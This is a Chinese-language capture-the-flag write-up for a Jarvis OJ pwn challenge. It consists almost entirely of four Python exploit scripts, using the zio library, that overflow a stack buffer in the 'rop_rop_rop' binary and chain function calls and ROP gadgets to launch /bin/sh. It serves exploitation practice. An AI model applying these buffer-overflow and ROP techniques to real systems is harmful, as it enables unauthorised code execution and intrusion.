簡介 :
項目地址 : https://coding.net/u/yihangwang/p/pwnme/git(pwn題目及 writeup 匯總)
題目地址 : https://coding.net/u/yihangwang/p/pwnme/git/tree/master/lessons/jarvisoj/5
利用代碼 :
方法一 :
(按照出題人的思路 , 分別調用 Step1, Step2, Step3, 在內存中構造 /bin/sh , 然后調用 system)
#!/usr/bin/env python
# encoding:utf-8
import zio
payloadForStep1 = "A" * 7 + "\x00" # 使用 0x00 繞過 strlen()
payloadForStep1 += "@" * 8 #
payloadForStep1 += zio.l32(0x804871e) # Step1() 的地址
payloadForStep1 += zio.l32(0x804867d) # main() 的地址
payloadForStep1 += "\x00" * 4 # Step1 的參數(shù)3
payloadForStep1 += "AAAA" # Step1 的參數(shù)2
#payloadForStep1 += "\xd5\xc4\xb3\xa2" # Step1 的參數(shù) 1
payloadForStep1 += zio.l32(0xA2B3C4D5) # Step1 的參數(shù) 1
payloadForStep2 = "A" * 7 + "\x00" # 使用 0x00 繞過 strlen()
payloadForStep2 += "@" * 8 #
payloadForStep2 += zio.l32(0x8048766) # Step2() 的地址
payloadForStep2 += zio.l32(0x804867d) # main() 的地址
payloadForStep2 += zio.l32(0xFF25A7D4) # Step2 的參數(shù) 1
payloadForStep2 += "AAAA" # Step2 的參數(shù)2
payloadForStep3 = "A" * 7 + "\x00" # 使用 0x00 繞過 strlen()
payloadForStep3 += "@" * 8 #
payloadForStep3 += zio.l32(0x80487A3) # Step3() 的地址
payloadForStep3 += zio.l32(0x804867d) # main() 的地址
payloadForStep3 += zio.l32(0xFFFFFFFF) # Step3 的參數(shù) 1
payloadForStep3 += zio.l32(0xC0C0C0C) # Step3 的參數(shù)2
payloadForStep3 += zio.l32(0x9A829A82) # Step3 的參數(shù)3
Io = zio.zio("./rop_rop_rop")
Io.readline()
Io.readline()
Io.write(payloadForStep1)
Io.write("\n")
Io.readline()
Io.readline()
Io.write(payloadForStep2)
Io.write("\n")
Io.readline()
Io.readline()
Io.write(payloadForStep3)
Io.write("\n")
Io.interact()
方法二 :
(通過調用 GetUserInput() 函數(shù)將 "/bin/sh" 寫入指定內存地址 , 構造 system 的調用棧)
(得到蔚恒學長的指點 , payload 長度最短)
#!/usr/bin/env python
# encoding:utf-8
import zio
payload = "A" * 7 + "\x00" # 使用 0x00 繞過 strlen()
payload += "@" * 8 #
payload += zio.l32(0x80485F2) # GetUserInput() 的地址
payload += zio.l32(0x8048480) # GetUserInput() 的返回地址 , 也就是 system 函數(shù)的地址
payload += zio.l32(0x804A04C) # GetUserInput() 的參數(shù) (在內存中找一段可寫的地址 , 用來存放 /bin/sh 這個字符串)
payload += zio.l32(0x804A04C) # system() 函數(shù)的參數(shù) , 為 /bin/sh 這個字符串的地址
Io = zio.zio("./rop_rop_rop")
Io.writeline(payload)
Io.readline()
Io.writeline("/bin/sh")
Io.interact()
方法三 :
(rop)
#!/usr/bin/env python
# encoding:utf-8
import zio
payload = "A" * 7 + "\x00" # 使用 0x00 繞過 strlen()
payload += "@" * 8 #
payload += zio.l32(0x80485F2) # GetUserInput() 的地址
payload += zio.l32(0x804886B) # pop, ret 的地址
payload += zio.l32(0x804A04C) # GetUserInput() 的參數(shù) (在內存中找一段可寫的地址 , 用來存放 /bin/sh 這個字符串)
payload += zio.l32(0x8048480) # GetUserInput() 的返回地址 , 也就是 system 函數(shù)的地址
payload += zio.l32(0x804886B) # pop, ret 的地址
payload += zio.l32(0x804A04C) # system() 函數(shù)的參數(shù) , 為 /bin/sh 這個字符串的地址
payload += zio.l32(0x8048490) # exit() 函數(shù)的地址
payload += "\x00" * 4 # exit() 的返回地址 (程序已經結束就不必再關心)
payload += zio.l32(0x00) # exit() 的參數(shù) , 0
Io = zio.zio("./rop_rop_rop")
Io.writeline(payload)
Io.readline()
Io.writeline("/bin/sh")
Io.interact()
方法四 : (方法一的簡潔版本)
#!/usr/bin/env python
# encoding:utf-8
import zio
payload = "A" * 7 + "\x00" # 使用 0x00 繞過 strlen()
payload += "@" * 8 #
payload += zio.l32(0x804871e) # Step1() 的地址
payload += zio.l32(0x8048869) # pop,pop,pop,ret 的地址
payload += "\x00" * 4 # Step1 的參數(shù)3
payload += "AAAA" # Step1 的參數(shù)2
payload += zio.l32(0xA2B3C4D5) # Step1 的參數(shù) 1
payload += zio.l32(0x8048766) # Step2() 的地址
payload += zio.l32(0x804886A) # pop,pop,ret 的地址
payload += zio.l32(0xFF25A7D4) # Step2 的參數(shù) 1
payload += "AAAA" # Step2 的參數(shù)2
payload += zio.l32(0x80487A3) # Step2() 的地址
payload += "BBBB" # 已經執(zhí)行到 Step3() , 再如何跳轉已經無所謂了
payload += zio.l32(0xFFFFFFFF) # Step3 的參數(shù) 1
payload += zio.l32(0xC0C0C0C) # Step3 的參數(shù)2
payload += zio.l32(0x9A829A82) # Step3 的參數(shù)3
Io = zio.zio("./rop_rop_rop")
Io.readline()
Io.write(payload + "\n")
Io.interact()
